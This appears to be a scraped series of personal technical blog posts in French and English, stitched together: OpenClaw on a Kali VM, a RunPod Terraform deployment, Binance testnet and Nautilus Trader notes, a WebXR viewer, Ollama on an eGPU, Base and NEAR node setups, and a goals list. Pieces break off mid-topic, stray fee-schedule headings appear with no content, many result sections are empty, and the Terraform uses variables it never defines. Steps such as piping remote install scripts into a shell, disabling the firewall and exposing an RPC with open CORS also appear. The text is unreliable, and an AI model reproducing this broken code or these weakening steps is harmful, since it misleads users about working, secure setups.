Setup SSH

sudo apt update
sudo apt install -y openssh-server vim

# uncomment line with ListenAddress 0.0.0.0
sudo vim /etc/ssh/sshd_config

sudo systemctl start ssh
sudo systemctl enable ssh

ip a

1. Install Openclaw on Kali Linux

For this setup I isolated Kali in a VM. So it’s a dedicated host with dedicated VM. Here are the commands to manage the hypervisor. I used Virtualbox but you can use faster ones ofc like firecracker. In my case I wanted super simplicity.

Manage VM

# List VMs
VBoxManage list vms

# Start VM
VBoxManage startvm "kali openclaw"  --type headless

# Stop VM
VBoxManage controlvm "kali openclaw" acpipowerbutton

# Force stop VM
VBoxManage controlvm "kali openclaw" poweroff

# Get IP
VBoxManage guestproperty get "kali openclaw" "/VirtualBox/GuestInfo/Net/0/V4/IP"

# Get the VM IP "the hard way"
nmap -sn 192.168.1.0/24 # OR arp -a

# Clone VM
VBoxManage clonevm "kali openclaw Backup setup OK" --name "kali openclaw" --mode all --register

# Delete a VM
VBoxManage list runningvms
VBoxManage controlvm "kali openclaw" poweroff
VBoxManage unregistervm "kali openclaw" --delete

Setup Openclaw

# node 24 needed
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash

Add in the ~/.zshrc and source it

export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"  # This loads nvm
[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"  # This loads nvm bash_completion

nvm list-remote
nvm install v24.14.1
nvm use v24.14.1
nvm use default v24.14.1
npm install -g openclaw@v2026.4.15

2. OpenClaw Configuration

openclaw onboard --install-daemon

# I understand this is personal-by-default and shared/multi-user use requires lock-down. Continue?
Yes

# Setup mode
Manual

# What do you want to set up?
Local gateway

# Workspace directory
Keep default

# Model/auth provider
OpenRouter -> openrouter/openai/gpt-4o-mini

# Gateway port
Custom

# Gateway bind
Loopback

# Gateway auth
Token

# Tailscale
Off

# How do you want to provide the gateway token?
Generate/store plaintext token (Default)

# Gateway token (blank to generate)
blank

# Configure chat channels now?
Yes

# Select a channel
Telegram

# Create a bot using @BotFather
# Get the bot token

# Configure DM access policies now? (default: pairing)
Yes Pairing

# Telegram DM policy
Allowlist (specific users only)

# Telegram allowFrom
Enter your username ID -> Get my user ID -> Via @UserInfoBot

# Search provider
skip for now

# Plugins
skip for now

# Skills
skip for now

# Enable hooks?
Select all

# Gateway service runtime
Node

# Enable zsh shell completion for openclaw?
Yes

3. Test

openclaw dashboard
openclaw tui

Quickly change API key, model, network config

Edit vim ~/.openclaw/openclaw.json and restart:

# Restrict access to 192.168.1.0/24 or only one host
systemctl --user restart openclaw-gateway.service

If needed for the firewall

sudo ufw allow 18789 # or custom port
# Or authorise the LAN: sudo ufw allow from 192.168.1.0/24 to any port 18789
# refuse the rest: sudo ufw deny 18789
sudo ufw disable # for quick test

Troubleshooting

systemctl --user status openclaw-gateway.service
systemctl --user restart openclaw-gateway.service
tail -f /tmp/openclaw/...log
DEBUG=agent,llm,openrouter npx openclaw tui

Issue I had and manual fix applied:
https://github.com/openclaw/openclaw/issues/68076#issuecomment-4267446040

Restart setup

rm -rf ~/.npm/_npx
rm -rf ~/.openclaw
# Or trash your VM

Output once running

hi

HEARTBEAT_OK

comment vas-tu ?

Je vais bien, merci ! Et toi ? Comment ça se passe ?
 gateway connected | idle
 agent main | session main (openclaw-tui) | openrouter/openai/gpt-4o-mini | tokens 12k/200k (6%)
──────────────────────────────────────────────────────────────────────────────────────────────────

Conclusion

This product is not yet ready for production, but it’s interesting to explore it as it’s one starting point for building agents. I plan to use it to replace expensive services with local, private AI.

It will also allow me to automate certain everyday tasks, like an assistant that doesn’t send all my data to the cloud.

In a future article, we’ll look at how to leverage these skills alongside Kali tools to automate security audits. There may also be another article focused on private AI.

I’ll have a badass private instance running 24/7 within the next two weeks. I’m going to add a highly interactive and fun assistant to it. More to come.

Presque toujours GRATUIT

Fiat deposit (EUR, USD) & Fiat + Crypto Retraits

Trades (orders)

Spot Fee Schedule

Futures Fee Schedule (2026) – USDT‑margined perpetual

brew tap hashicorp/tap
brew install hashicorp/tap/terraform
terraform --version

2. Obtenir une clé API RunPod

Rendez-vous sur https://www.runpod.io/console/user/settings

Sectionnez API Keys → Create API Key (permissions Read/Write)

Copiez la clé et exportez-la:
export RUNPOD_API_KEY="rp_xxxxxxxxxxxxxxxxxxxxxxxx"

3. Fichiers Terraform

Créez un dossier openclaw-runpod/ et place-y ces 3 fichiers:

vim openclaw-runpod/variables.tf

variable "runpod_api_key" {
  description = "RunPod API key"
  type        = string
  sensitive   = true
  default     = ""
}

variable "ssh_public_key" {
  description = "SSH public key for secure access"
  type        = string
}

variable "pod_name" {
  description = "Name of the RunPod pod"
  type        = string
  default     = "openclaw"
}

vim openclaw-runpod/main.tf

terraform {
  required_providers {
    runpod = {
      source  = "decentralized-infrastructure/runpod"
      version = "1.0.1"
    }
  }
}

provider "runpod" {}

resource "runpod_pod" "openclaw" {
  name       = var.pod_name
  image_name = "runpod/pytorch:2.1.0-py3.10-cuda11.8.0-devel"

  gpu_type_ids = [
    "NVIDIA RTX A4000",
    "NVIDIA RTX A4500",
    "NVIDIA GeForce RTX 3090",
    "NVIDIA GeForce RTX 4070 Ti",
    "NVIDIA GeForce RTX 4080",
    "NVIDIA RTX A5000",
    "NVIDIA L4",
    "NVIDIA GeForce RTX 4090",
    "NVIDIA A40",
  ]
  gpu_count     = 1
  interruptible = false

  cloud_type        = "COMMUNITY"
  support_public_ip = true

  container_disk_in_gb = 30
  volume_in_gb         = 30
  volume_mount_path    = "/workspace"

  ports = ["22/tcp"]

  env = {
    PUBLIC_KEY             = var.ssh_public_key
    JUPYTER_PASSWORD       = "disabled"
    OPENCLAW_GATEWAY_TOKEN = var.gateway_token
    OPENCLAW_GATEWAY_BIND  = "loopback"
    OPENCLAW_GATEWAY_PORT  = tostring(var.gateway_port)
    GOG_KEYRING_PASSWORD   = var.gog_keyring_password
  }

  docker_start_cmd = [
    "bash", "-c",
    join(" && ", [
      "mkdir -p /root/.ssh",
      "echo $PUBLIC_KEY > /root/.ssh/authorized_keys",
      "chmod 700 /root/.ssh",
      "chmod 600 /root/.ssh/authorized_keys",
      "service ssh start",

      "mkdir -p /workspace/.openclaw/workspace",
      "ln -sfn /workspace/.openclaw /root/.openclaw",

      "curl -fsSL https://deb.nodesource.com/setup_22.x | bash -",
      "apt-get install -y -qq nodejs socat",
      "npm install -g --ignore-scripts openclaw@latest",

      "openclaw gateway --bind $OPENCLAW_GATEWAY_BIND --port $OPENCLAW_GATEWAY_PORT --allow-unconfigured",
    ])
  ]
}

vim openclaw-runpod/outputs.tf

output "pod_id" {
  description = "RunPod Pod ID"
  value       = runpod_pod.openclaw.id
}

output "pod_cost_per_hr" {
  description = "Cost per hour"
  value       = runpod_pod.openclaw.cost_per_hr
}

output "pod_public_ip" {
  description = "Public IP (use for SSH)"
  value       = runpod_pod.openclaw.public_ip
}

4. Lancer le déploiement

cd openclaw-runpod

# Initialiser Terraform
terraform init

# Prévisualiser ce qui va être créé
terraform plan -var="ssh_public_key=$(cat ~/.ssh/id_ed25519.pub)"

# Créer le pod
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_ed25519.pub)"

5. Se connecter et utiliser OpenClaw

# Récupérer l'IP publique
terraform output pod_public_ip

# SSH avec tunnel pour accéder à OpenClaw en local de façon sécurisée
ssh -L 3000:localhost:3000 root@<IP_PUBLIQUE>

# Une fois connecté au pod :
openclaw setup
openclaw health

OpenClaw sera accessible à http://localhost:3000

6. Détruire le pod

terraform destroy -var="ssh_public_key=$(cat ~/.ssh/id_ed25519.pub)"

Accès au testnet de Binance

Data tester

L’adapter existant ne supporte pas le testnet.

Créer une API key sur https://testnet.binance.vision/key/register:

openssl genrsa -out test-prv-key.pem 2048
openssl rsa -in test-prv-key.pem -pubout -outform PEM -out test-pub-key.pem

Je préconise de créer une autre example dans l’adapter binance: node_data_tester_testnet.rs

export BINANCE_API_KEY="API_KEY_FROM_BINANCE_TESTNET_WEBSITE"
export BINANCE_API_SECRET="$(cat /path/to/test-prv-key.pem)"
cargo run --release --example binance-spot-data-tester-testnet --package nautilus-binance

Résultat:

2026-02-23T22:08:55.464317000Z [INFO] TRADER-001.nautilus_binance::spot::websocket::streams::client: Connecting to Binance SBE WebSocket: url=wss://stream.testnet.binance.vision/ws, auth=false

Exec tester

Comme pour le script précédent, je préconise de créer un nouveau fichier dans l’adapter binance: node_exec_tester_testnet.rs.

export BINANCE_API_KEY="API_KEY_FROM_BINANCE_TESTNET_WEBSITE"
export BINANCE_API_SECRET="$(cat /path/to/test-prv-key.pem)"
cargo run --release --example binance-spot-exec-tester-testnet --package nautilus-binance

Résultat:

Lister les limit orders sur Binance testnet via API call

Créer un fichier ./check_orders.sh avec le contenu suivant:

#!/bin/bash

API_KEY="..."
SECRET_KEY="..."
BASE_URL="https://testnet.binance.vision"
SYMBOL="${1:-BTCUSDT}"

# Verify keys
if [[ "$API_KEY" == "ta_cle_api_ici" ]] || [[ "$SECRET_KEY" == "ton_secret_ici" ]]; then
    echo "❌ Erreur : Modifie API_KEY et SECRET_KEY avec tes vraies clés testnet !" >&2
    exit 1
fi

# Timestamp in milliseconds
TIMESTAMP=$(date +%s000)
QUERY_PARAMS="symbol=${SYMBOL}&timestamp=${TIMESTAMP}&recvWindow=5000"
SIGNATURE=$(echo -n "$QUERY_PARAMS" | openssl dgst -sha256 -hmac "$SECRET_KEY" -binary | xxd -p -c 0)
FULL_URL="${BASE_URL}/api/v3/openOrders?${QUERY_PARAMS}&signature=${SIGNATURE}"

echo "📊 Récupération des open orders pour ${SYMBOL}..."

# Call Binance testnet API
RESPONSE=$(curl -s -H "X-MBX-APIKEY: ${API_KEY}" \
    --connect-timeout 10 \
    --max-time 30 \
    "${FULL_URL}")

# Check if there is an error
if echo "$RESPONSE" | grep -q '"code"'; then
    echo "❌ Erreur API : $RESPONSE" >&2
    exit 1
fi

# Process and display the orders
echo "$RESPONSE" | jq --arg symb "$SYMBOL" '
  # Filtrer seulement les LIMIT orders
  [.[]? | select(.type? == "LIMIT")] as $limits |
  
  if ($limits | length) == 0 then
    "✅ Aucune LIMIT order ouverte pour \($symb)"
  else
    "📋 \(($limits | length)) LIMIT order(s) ouverte(s) :", 
    $limits[] | {
      symbol: .symbol,
      side: .side,
      price: .price,
      qty: .origQty,
      filled: .executedQty,
      status: .status,
      time: (.time | tonumber / 1000 | strftime("%Y-%m-%d %H:%M:%S"))
    }
  end
'

Exécuter: ./check_orders.sh BTCUSDT

Je peux maintenant lister les prix avec de bonnes perf et exécuter des trades sur le mainnet et le testnet de Binance. Je vais maintenant pouvoir créer des screeners et quelques stratégies simples en Rust avec des ordres d’achat et vente par palier. Je vais mettre en place de l’alerting (notif OSX et telegram) et du reporting (TUI).

Je passerai ensuite aux étapes suivantes:

• Connecter le projet à l’API demo de Binance
• Accéder à mon portefeuille sur Binance demo & testnet
• A très court terme, créer une stratégie sur un exchange “sniper de liquidité”
• Créer une stratégie d’arbitrage triangulaire sur un exchange
• Créer une stratégie de funding rate sur perp & spot sur un exchange
• Créer des stratégies simple sur 2 exchanges (par exemple: arbitrage simple sur marché spot ou funding rate).
• Tester la partie Python pour tester des stratégies plus complexes + Backtesting
• Accéder en python à l’API testnet de Binance
• Créer des stratégies sur plus de 2 exchanges
• Et pleins d’autres…

Accès aux données d’exchanges

Binance

Pour utilise l’adapter Binance, il faut générer une API key Ed25519. On fournit à Binance un API secret et Binance fournit un API key.

Voici la procédure:

openssl genpkey -algorithm ed25519 -out binance_ed25519_private.pem
# Extract public key for Binance registration
openssl pkey -in binance_ed25519_private.pem -pubout -out binance_ed25519_public.pem

Exécution:

export BINANCE_API_KEY="API_KEY_FOURNIE_PAR_BINANCE"
export BINANCE_API_SECRET="$(cat /path/to/binance_ed25519_private.pem)"
RUST_LOG=debug cargo run --example binance-spot-data-tester --package nautilus-binance

Résultat:

Coinbase

Coinbase dans sa version classique non institutionnel n’est pas disponible dans Nautilus Trader. Néanmoins, il est aisé, en s’inspirer des autres adapters et de l’adapter coinbase international existant, de créer son propre adapter coinbase pour récupérer des données en temps réel. C’est même plus simple que Coinbase International car pour coinbase non institutionnel, il ne faut pas s’authentifier à l’API WS.

Voici l’arborescence à suivre:

coinbase/
├── Cargo.toml
├── README.md
├── examples/
│   └── node_data_tester.rs       # Exemple : BTC-USD + ETH-USD en temps réel
└── src/
    ├── lib.rs
    ├── config.rs                  # CoinbaseDataClientConfig (pas d'auth requise)
    ├── data.rs                    # CoinbaseDataClient (DataClient trait)
    ├── factories.rs               # CoinbaseDataClientFactory
    ├── common/
    │   ├── consts.rs              # COINBASE exchange/venue, URLs REST + WS
    │   └── enums.rs               # CoinbaseProductType, CoinbaseSide
    ├── http/
    │   ├── client.rs              # CoinbaseHttpClient (requêtes REST publiques)
    │   ├── models.rs              # Structs de désérialisation JSON
    │   └── parse.rs               # Parsing → CurrencyPair instruments
    └── websocket/
        ├── client.rs              # (réservé pour client standalone futur)
        ├── messages.rs            # Types WS : ticker, trades, L2, candles
        └── parse.rs               # Parsing → QuoteTick, TradeTick

Exécution:

cargo run --release \
  --example coinbase-data-tester \
  --package nautilus-coinbase

Résultat:

Hyperliquid

Pour Hyperliquid, il n’y a rien à faire; c’est cadeau.

Exécution:

cargo run --example hyperliquid-data-tester --package nautilus-hyperliquid

Résultat:

Deribit

Deribit, idem rien à faire.

Exécution:

cargo run --example deribit-data-tester --package nautilus-deribit

Résultat:

Dydx

Et pour le dernier exemple de cet article, dydx il y a également rien à faire. Exécution:

cargo run --example dydx-data-tester --package nautilus-dydx

Résultat:

Voilà de bonnes bases pour commencer à s’amuser sérieusement; c’est un bon début pour ce projet. Il contient d’autres adapters comme bitmex, Kraken… Je vais maintenant voir s’il est possible de modifier l’adapter Binance pour soit me connecter à son mainnet ou son testnet. Et je vais créer une première stratégie très simple qui me permettra de créer des limit orders en Rust sur Binance. On verra ensuite pour soit une stratégie multi-exchanges ou soit une stratégie plus poussée juste sur Binance.

A noter que Bybit, Okx et Databento n’ont pas fonctionné out of the box.

Présentation

Nautilus Trader n’est pas juste une lib Python écrite en Rust; c’est un peu plus complexe.

C’est une plateforme de trading algorithmique haute performance qui utilise une architecture hybride à trois couches de langages:

1. Rust: Le moteur natif (crates/)

Le workspace Rust contient ~35 crates qui implémentent le cœur du système:

Le crate crates/pyo3/ est la passerelle: il compile une bibliothèque partagée nautilus_pyo3 qui expose les types et fonctions Rust directement en Python.

2. Cython: La couche intermédiaire (fichiers .pyx)

Il y a ~106 fichiers .pyx (Cython) et ~129 fichiers .pxd (déclarations). C’est une couche historique importante qui:

• Fournit une grande partie de l’API Python publique (stratégies, ordres, instruments, indicateurs, etc.)
• Appelle le code Rust via FFI/C (headers générés dans nautilus_trader/core/includes/)
• Implémente certains composants directement en Cython pour la performance
• Se compile en extensions C (fichiers .so/.pyd) qui se linkent aux bibliothèques statiques Rust

On le voit dans nautilus_trader/core/rust/ qui contient des fichiers .pyx comme model.pyx et common.pyx servant de pont entre Cython et les bibliothèques Rust.

3. Python pur: L’orchestration (fichiers .py)

Du Python classique pour:

• La configuration et l’orchestration du système
• Certains adapters de plus haut niveau
• Les tests

En gros l’architectue du projet se décompose comme ceci:

┌─────────────────────────────────────────────────┐
│              Utilisateur Python                 │
│         (import nautilus_trader)                │
├────────────────────┬────────────────────────────┤
│   Cython (.pyx)    │     Python pur (.py)       │
│  Extensions C/C++  │  Config, orchestration     │
├────────────────────┴────────────────────────────┤
│          FFI (C headers)  &  PyO3               │
├─────────────────────────────────────────────────┤
│              Rust (crates/)                     │
│  Core engine, model, adapters, networking, etc. │
└─────────────────────────────────────────────────┘

L’API utilisateur est en Python, mais que la performance critique est en Rust, et que le Cython sert de ciment (historique) entre les deux.

Le projet migre progressivement de Cython vers Rust/PyO3. Le Cython est la couche historique, et le Rust prend de plus en plus de place. On voit d’ailleurs que les tests ont souvent des versions _pyo3

Il y a 3 catégories d’adapters

1. Adapters Rust + couche Python fine (la majorité)

Ces adapters ont une double implémentation: le gros de la logique est en Rust, avec une couche Python par-dessus.

Par exemple pour Binance, le code Rust dans crates/adapters/binance/src/futures/data.rs (~1500 lignes) implémente le vrai client de données live (connexions WebSocket, parsing des messages, gestion de l’order book,…). Le code contient même un sous-dossier python/ avec des bindings PyO3 pour exposer certains types (enums, clients HTTP/WebSocket) à Python.

Côté Python, nautilus_trader/adapters/binance/data.py est la couche qui orchestre le tout comme la configuration, les factories, et certains traitements de haut niveau mais qui délègue le travail lourd au Rust.

2. Adapters Python pur (quelques-uns)

Certains adapters n’existent qu’en Python, sans contrepartie Rust:

3. Le template Le dossier nautilus_trader/adapters/_template/ contient un squelette Python pour créer de nouveaux adapters. Il est en Python pur:

_template/
├── __init__.py
├── core.py
├── data.py
├── execution.py
└── providers.py

Installation sur OSX

Les bases de données ne sont pas requises pour commencer. Elles sont optionnelles et servent à des cas d’usage spécifiques:

Pré-requis

# Installation de Rust
curl https://sh.rustup.rs -sSf | sh
source $HOME/.cargo/env
# Ou update 
# rustup update stable

# uv (gestionnaire de packages Python)
curl -LsSf https://astral.sh/uv/install.sh | sh

# Cap'n Proto
brew install capnp

git clone https://github.com/nautechsystems/nautilus_trader
git checkout master
cd nautilus_trader
export PYO3_PYTHON=$(pwd)/.venv/bin/python
make install
# Plus tard pour itérer rapidement: 
# make install-debug
uv run python -c "import nautilus_trader; print(nautilus_trader.__version__)"
# 1.222.0
# uv run python -m pip list

Utilisation basique

Organisation des exemples

Le dossier examples/ est organisé autour de 3 environnements d’exécution + un dossier utilitaire:

1. backtest/: Données historiques, exchange simulé

Si on fournit des données historiques, le moteur simule un exchange et exécute une stratégie dessus. Aucune connexion réseau, aucune clé API est nécessaire.

Le pattern est toujours le même: Engine -> Venue -> Instrument -> Data -> Strategy -> Run.

Il y a aussi 11 exemples tutoriels numérotés (example_01 à example_11) qui enseignent chacun un concept:

Chaque tutoriel a un run_example.py (le lanceur) et un strategy.py (la logique de trading).

2. sandbox/: Données live, exécution simulée

C’est un mode hybride. On se connectes à un vrai exchange pour recevoir des données de marché en temps réel, mais les ordres sont exécutés dans un simulateur local. C’est vraiment parfait pour tester une stratégie dans des conditions réelles sans risquer d’argent.

# source binance_spot_futures_sandbox.py

data_clients={
    "BINANCE_FUTURES": BinanceDataClientConfig(  # <-- Données RÉELLES de Binance
        // ...
    ),
    "BINANCE_SPOT": BinanceDataClientConfig(     # <-- Données RÉELLES de Binance
        // ...
    ),
},
exec_clients={
    "BINANCE_FUTURES": SandboxExecutionClientConfig(  # <-- Exécution SIMULÉE
        venue="BINANCE_FUTURES",
        starting_balances=["10_000 USDC", "0.005 BTC"],
    ),
    "BINANCE_SPOT": SandboxExecutionClientConfig(     # <-- Exécution SIMULÉE
        venue="BINANCE_SPOT",
        starting_balances=["1_000 USDC", "0.001 BTC"],
    ),
},

3. live/: Données live, exécution live

Dans cette section, c’est du vrai trading. C’est Organisé par exchange, chaque sous-dossier contient typiquement:

• Un data tester (*_data_tester.py) qui se connecte et affiche les données reçues, sans trader
• Un exec tester (*_exec_tester.py) qui teste le passage d’ordres réels
• Des stratégies (*_ema_cross.py, *_market_maker.py, etc.) qui sont des exemples complets.

Indicateur disponibles

Moyennes mobiles

Momentum

Volatilité

Volume

Ratio et analyse

Divers

Ichimoku est absent 😢

Analyse d’exemples

Voici la description des exemples de 4 exchanges dans examples/live/:

Binance (7 fichiers)

Bybit (8 fichiers)

OKX (3 fichiers)

Interactive Brokers (8 fichiers)

Voilà c’est tout pour cette première analyse. Je vais maintenant creuser du côté du coeur en Rust, du côté de l’arbitrage (en Python et surtout en Rust pour maximiser la latence), des screeners basiques pour trouver des cadeaux à trader et je vais peut être voir si je ne peux pas contribuer sur la création d’un indicateur ou stratégie avec Ichimoku. J’écrirais sans doute un autre article sur cet outil prochainement car je passe énormément de temps sur le sujet du trading chaque semaine et je ne documente jamais. Je ne suis pas trader pro mais je regarde presque quotidiennement depuis 4 ou 5 ans des vidéos d’analyse technique et je passe très régulièrement des trades sur des CEX. Bref pouvoir combiner 2 passions (Dev avec Rust + Python & trading) c’est top.

The learning curve between WebXR and Unity is much lower for a former frontend developer. I developed PWA apps for about 10 years, from 2009 to 2019, so it was pretty easy for me to pick it up. Having recently built the UI of a social network in React, transitioning to WebXR was seamless. Compared to Unity, the difference is night and day. I gave Unity a shot with no prior experience, and honestly, getting started was tough. Moreover I’m not a big fan of C#.

In short, I needed an application that would let me stream dozens of 20 to 50 GB 360° videos stored on an external hard drive. So I built one.

I used Rust with Axum as the backend server and WebXR for the UI. The UI performance is surprisingly solid. I honestly expected videos over 50 GB to lag, but they don’t. Not at all. With a well-built Rust server behind it, it just flies.

I didn’t spend time creating a full 3D environment like a virtual cinema room. WebXR is perfectly capable of that, but I gave myself a strict 5-hour timebox to build everything. So I kept it simple and focused on performance and functionality.

I recorded a video while wearing my VR headset. It’s footage captured from inside the headset.

Here’s the result:

Here’s the desktop browser version of the interface:

This is where WebXR really shines. No app store, no recompilation. Just ship it like any web app. You get instant deployment, iteration speed, and all the advantages of the web ecosystem. And so it is compatible with all VR/AR/XR headsets…

Sure, Unity or Unreal can push performance much further. But for straightforward use cases like streaming and managing videos, WebXR is absolutely sufficient.

That wraps up this article. This was just a small project, but it gave me the opportunity to explore WebXR while building something that solved a real personal need.

nvidia-smi

Installer Ollama

curl -fsSL https://ollama.com/install.sh | sh

Cela va installer:

• /usr/bin/ollama
  
• le service systemd
  
• le support CUDA si driver NVIDIA détecté

Vérifier l’installation

ollama --version
ollama --info # Pour vérifier GPU visible

Forcer Ollama à utiliser uniquement un eGPU

Identifier l’ID du eGPU**

nvidia-smi -L
GPU 0: RTX 5090 (internal)
GPU 1: RTX 5090 (internal 2)
GPU 2: RTX 4080 (eGPU)
# choisir 2

CUDA_VISIBLE_DEVICES=2 ollama run llama3

sudo systemctl edit ollama

Ajoute:

[Service]
Environment="CUDA_VISIBLE_DEVICES=2"

sudo systemctl daemon-reexec
sudo systemctl restart ollama

Tester un modèle

ollama pull llama3
ollama run llama3
> Explique en détail comment fonctionne un eGPU sous Linux
> Explique en détail le fonctionnement interne d’un LLM, en couvrant l’architecture transformer, l’attention, l’entraînement, l’inférence et les optimisations GPU.

# Vérifier les perfs
# watch -n 0.5 nvidia-smi

# Autre modèles 
#   léger:
# ollama pull mixtral:8x7b

#   plus lourd 
# ollama pull llama3:70b && ollama pull gpt-oss:20b && ollama pull qwen:14b && ollama pull wizardlm-uncensored && ollama pull wizard-vicuna-uncensored:7b && ollama pull wizard-vicuna-uncensored:13b && ollama pull wizard-vicuna-uncensored:30b


# Vérifier que le modèle tient en vRAM
nvidia-smi --query-gpu=memory.used,memory.total --format=csv
# Règle simple:
# 7B → ~6–8 Go
# 13B → ~12–16 Go
# 70B → 40+ Go

Voir les logs

journalctl -u ollama -f

Setup Base

Clone project

git clone https://github.com/base-org/node.git base-node
cd base-node

Configure node

cp .env.mainnet .env

Edit the config vim .env:

OP_NODE_L1_ETH_RPC=http://eth-l1:8545
OP_NODE_L1_BEACON=http://eth-l1-beacon:5052
OP_NODE_SEQUENCER_ENABLED=false
OP_NODE_P2P_STATIC=http://...
# Optionnel: RPC host/port
OP_GETH_HTTP_ADDR=0.0.0.0
OP_GETH_HTTP_PORT=8545

Run node

docker-compose pull
docker-compose up -d

Verify

docker-compose ps

curl -X POST http://localhost:8545 \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc":"2.0",
    "id":1,
    "method":"eth_blockNumber",
    "params":[]
  }'

docker-compose logs -f

We are going to use a tiny VPS that will act as proxy UDP proxy (or P2P tunnel).

Local Node (Starlink)
        ^
        |  UDP P2P to VPS
        |
VPS Relay (1 Go RAM, Public IP)
        ^
        |  UDP P2P to Mainnet NEAR nodes
        |
     NEAR Mainnet

VPS setup

The VPS listen to 24567 and redirect to the local node via a SSH reverse tunnel and tailscale

curl -fsSL https://tailscale.com/install.sh | sh && sudo tailscale up --auth-key=tskey-auth-...-... --advertise-exit-node
tailscale status
echo "net.ipv4.ip_forward=1" | sudo tee /etc/sysctl.d/99-tailscale.conf
curl -4 icanhazip.com # Get vps public IP to verify later the local server has the same one.

sudo apt update && sudo apt install socat -y
sudo socat UDP4-LISTEN:24567,fork UDP4:PRIVATE_TAILSCALE_IP_OF_LOCAL_NEAR_NODE:24567

Local Node

Setup tailscale

curl -fsSL https://tailscale.com/install.sh | sh && sudo tailscale up --auth-key=tskey-auth-...-...
curl -4 icanhazip.com
tailscale status
sudo tailscale up \ --exit-node=TAILSCALE_PRIVATE_IP_OF_VPS --exit-node-allow-lan-access=true
curl -4 icanhazip.com

Retrieve peer address to setup boot nodes

curl -s -X POST https://rpc.mainnet.near.org -H "Content-Type: application/json" -d '{ "jsonrpc": "2.0", "method": "network_info", "params": [], "id": "dontcare"}' | jq -r '.result.active_peers[] | "\(.id)@\(.addr)"'

Boot node config

Edit vim ~/.near/config.json and change:

"boot_nodes": [
  "v2.near.org:24567"   // Previously retrieved peer id
]

Run Near

neard run

Verify sync

curl -s http://127.0.0.1:3030/status | jq

#"sync_info": {
#  "syncing": false
#}
# -> Sync is over

# Compare with public node
curl -s https://rpc.mainnet.near.org/status | jq '.sync_info.latest_block_height' && curl -s http://127.0.0.1:3030/status | jq '.sync_info.latest_block_height'

Setup

sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git unzip clang cmake make pkg-config libssl-dev llvm jq
sudo reboot

Configure system limits

echo "fs.file-max=1000000" | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
ulimit -n 1000000

Install Rust

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env
rustup update stable

Download NEAR Core

git clone https://github.com/near/nearcore.git
cd nearcore
git checkout 2.10.3

Compile

# Option 1
# cargo build -p neard --release
make release

# check 
$ ./target/release/neard run
$ (In another tab) sudo ss -lun | grep 24567
> Expected:
> udp   UNCONN  0  0  0.0.0.0:24567   0.0.0.0:*
> Or expected:
> udp   UNCONN  0  0  [::]:24567      [::]:*

If it's empty it is an issue with Near itself not a network misconfiguration
$ ctrl-c

sudo cp target/release/neard /usr/local/bin/

# Option 2
cd ~
rm -rf nearcore
wget https://github.com/near/nearcore/releases/latest/download/neard-linux-x86_64.tar.gz
tar -xvf neard-linux-x86_64.tar.gz
sudo mv neard /usr/local/bin/
neard --version

Init node

mkdir -p ~/.near
# Mainnet init
neard init --chain-id mainnet --download-genesis --download-config

# It will create both files:
# ~/.near/config.json
# ~/.near/genesis.json

Configure the Node in full RPC node

vim ~/.near/config.json

-> Activate public RPC
"rpc": {
  "addr": "0.0.0.0:3030",
  "cors_allowed_origins": ["*"]
}

Configure kernel network parameters

cd nearcore
chmod +x scripts/set_kernel_params.sh
sudo scripts/set_kernel_params.sh

Start the node

neard run

Check logs

tail -f ~/.near/logs/neard.log

Check node

curl http://127.0.0.1:3030/status

# expected response:
{
  "chain_id": "mainnet",
  "sync_info": {
    "syncing": false
  }
}

Create a service

sudo vim /etc/systemd/system/neard.service

[Unit]
Description=NEAR RPC Node
After=network.target

[Service]
User=ubuntu
ExecStart=/usr/local/bin/neard run
Restart=always
LimitNOFILE=1000000

[Install]
WantedBy=multi-user.target

sudo systemctl daemon-reload
sudo systemctl enable neard
sudo systemctl start neard

Useful RPC Endpoints

-> Health: http://localhost:3030/status

-> JSON-RPC: http://localhost:3030

Exemple:

curl -X POST http://localhost:3030 \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","id":"1","method":"block","params":{"finality":"final"}}'

Voici donc mon programme pour cette année 2026. La majeure partie de mes développements seront réalisés en Rust ou Python:

1. Lecture d’un livre sur Ichimoku (trading)

2. Investissement bourse en suivant une stratégie de value investing

3. Développer pour https://ps-iloveyou.fr de nouvelles fonctionnalités. Basculer le service en 100% gratuit et ajouter du prod alerting

4. Build local AI server (hardware) for comfyui and LLM

5. Placer le robot arm que j’ai construit sur rail linéaire pour arrosage jardin hydroponique #top prio #rust #esp32

6. Construire un second robot arm avec une camera sur la pince #top prio

7. Tester la gravure laser sur métal

8. Construire un boitier en bois design pour alarme lacrymogène

9. Alarme lacrymo v2 avec 6 degrés de liberté. -> Alarme lacrymo robotique

10. Build LLM from scratch (follow Andrej course)

11. Veille ecosystème Crypto

12. Veille AI

13. Reprise de l’activité d’arbitrage sur différentes blockchains en custody: Near, Sui, Solana, Optimism, base #Top prio #Rust #Solidity #Move

14. Build a new crypto RPC node server

15. Evil LLM analysis

16. Lire un livre de développement personnel

17. Entrainer un robot arm à allumer un feu à un endroit précis sur une matière précise #IA #Robotique #Top prio

18. Suivre formation sur optimisation du gaz Solidity

19. Voir s’il existe une formation sécurité des Smart contracts Ethereum

20. Expérimentation avec le nouveau robot Reachy mini de Huggingface

21. Lire 2 livres sur Rust

22. Construire un “ok google” (et pas dumb) privé (ou publique avec rooting avec LLM privé en Rust)

Pour la 1e année je parle de mes projets perso. Les années passées, je n’avais jamais communiqué dessus alors que je me fixe aussi beaucoup d’objectifs personnels.

1. Lire les 3 livres de maraîchage de Jean-Martin Fortier

2. Créer un jardin potager pour former mes enfants aux petites choses simples de la vie. (Et donc réaliser les travaux associés, couler un peu de béton pour les bordures, installer un préau pour stockage du matériel, amener l’eau près du potager sur 100m. Idem électricité) + Réflexion installation panneaux solaire sur nouveau préau

3. Sport intensif 2 fois par semaine (boxe/ callisthénie) + 2 sorties sur l’eau par mois (Wing foil ou similaire/ Kayak)

4. Amélioration de mon alimentation -> diminution des sucres lents

5. Aménager mon espace de bricolage pour installer une scie cirulaire

6. Creuser une tranchée pour tirer l’électricité dans mon jardin et installer une caméra de sécurité dans un endroit stratégique

